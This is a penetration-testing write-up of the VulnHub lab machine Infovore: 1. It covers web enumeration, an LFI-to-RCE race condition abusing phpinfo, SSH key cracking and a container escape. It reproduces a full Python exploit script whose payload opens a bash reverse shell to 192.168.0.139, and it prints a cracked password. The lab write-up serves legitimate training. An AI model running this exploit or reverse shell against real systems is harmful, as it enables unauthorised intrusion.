VH - Infovore: 1

Introduction


This writeup documents the penetration testing of the infovore: 1 machine. This machine has been downloaded from the VulnHub platform. In this ocasion I’ll exploit some php functions and lazy sys admins’ configurations as the description says.


Information Gathering


Firstly, we need to discover the IP of the infovore machine. We will use arp-scan.

I use the settarget function to set the target IP in the Polybar, so that we can see in any moment DarkHole’s IP. After identifying the target’s IP address, we need to enumerate as much information as possible about the host. A quick way to get a hint of the OS is checking the TTL value from a simple ping to a host on our local network. The whichSystem script can also be used for this purpose.

  • TTL 64: Linux.
  • TTL 128: Windows.

In this case it appears to be a Linux machine. Now we will perform a port scan.

extractPorts reads the grepable export file allPorts, shows me the open ports and copy them in the clipboard. Let’s perform a deeper scan using basic recon nmap scripts to see more information about the port 80.

After performing this second scan we can see that we are facing an Apache web server running on a Debian machine. We can also see a title “Include me …“.

You can Google the Apache or SSH version followed by “launchpad” to get a good hint about the OS. You can also check the blog’s Enumeration Cheat Sheet, which includes a table mapping service versions to possible operating system versions. We are facing a Debian Buster.

Once the OS and exposed services have been enumerated it’s time to enumerate the web server.

It seems that the page it’s not configurated at all. The links and buttons doesn’t work and we can’t see anything interesting in the source code of the page. However, both Wappalyzer and WhatWeb are indicating that PHP is being used server-side.

Let’s focus on fuzzing and PHP file enumeration. We’ll brute-force the website to list directories and files.

We find out some directories and PHP files. We see the classic info.php wich is generated by the PHP function phpinfo(). This file exposes all PHP configurations.


Vulnerability Assesment


In php.info you can search any directives to abuse them.

  • disable_functions - no disable functions, so we can use system, shell_exec, exec, to exeute commands.
  • file_uploads - we can upload files.

In the following link you can find information about this abuse: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.html

I’ll focus on the LFI one. Firstly, we need a LFI vuln. I will use Burp Suite to send a POST request in order to force the upload of a PHP file. If I could find any way to force the server to interpretate my code (wich is a Reverse Shell) I could get into the server.

wfuzz detected the parameter filename.


Exploitation


With the filename parameter we can see the content of /etc/passwd. However, we can’t reach any files we upload through the POST request.

Actually, the server is erasing the file at the moment we upload the file in question (it’s a temporary resource: /tmp). So, we may have to consider a Race-Condition. To perform it, I’ll download the following script: https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/Files/phpinfolfi.py

I’m going to change some important variables. The final script was:

#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.  
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16.  This can be a pain to revert.
# from builtins import range
from __future__ import print_function
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.139/443 0>&1'");?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt;")
        if i == -1:
            i = d.index("[tmp_name] =&gt;")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt;")
    if i == -1:
        i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s" % (sys.argv[1], e))
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with port %d: %s" % (sys.argv[2], e))
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with poolsz %d: %s" % (sys.argv[3], e))
        sys.exit(1)

    print("Getting initial offset...", end=' ')
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)..." % poolsz)
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print()
        if e.is_set():
            print("Woot!  \m/")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()

    print("Shuttin' down...")
    for t in tp:
        t.join()

if __name__=="__main__":
    print("Don't forget to modify the LFI URL")
    main()

Basically, it will try to upload a file and point it many times until the file’s code is interpretated.


Post-Exploitation


# tty upgrading
❯ script /dev/null -c bash
❯ Ctrl+Z
❯ stty raw -echo; fg
❯ reset xterm
❯ export TERM=xterm
❯ export SHELL=bash
❯ stty rows 44 columns 185

If we run the command hostname -I we will notice that we are not in the real machine, we are in a container.

  • We have no file /var/run/docker.sock, docker it’s not installed.
  • capsh it’s not installed.
  • No users directories in /home and no users with a shell (only root and we can’t access it)
  • No PHP files in /var/www/html with the string “password
  • No files in the hole container with the string “config

To recon the container we will use the utility linPEAS. If we run linPEAS we’ll see the section “Unexpected in root” with the file .oldkeys.tgz that contains a public SSH key and a private SSH key. In this point, we’ll try to break the private SSH key.

ssh2john has converted the key into a hash. We’ll try to crack the hash with john using the rockyou.txt dictionary.

root’s password is choclate93.

But remember, we need to scape the container.

In the directory /root/.ssh we see a public key file wich shows that the user admin can connect to 192.168.150.1, there’s “trust” between them.

We’ll try to connect to 192.168.150.1 using the user admin and the same password as root.

We can! There’s a passord reuse.

admin is in the docker group. In this case I can create a container that mounts all the filesystem (even the root directory) into my container filesystem so I can access all directories and files.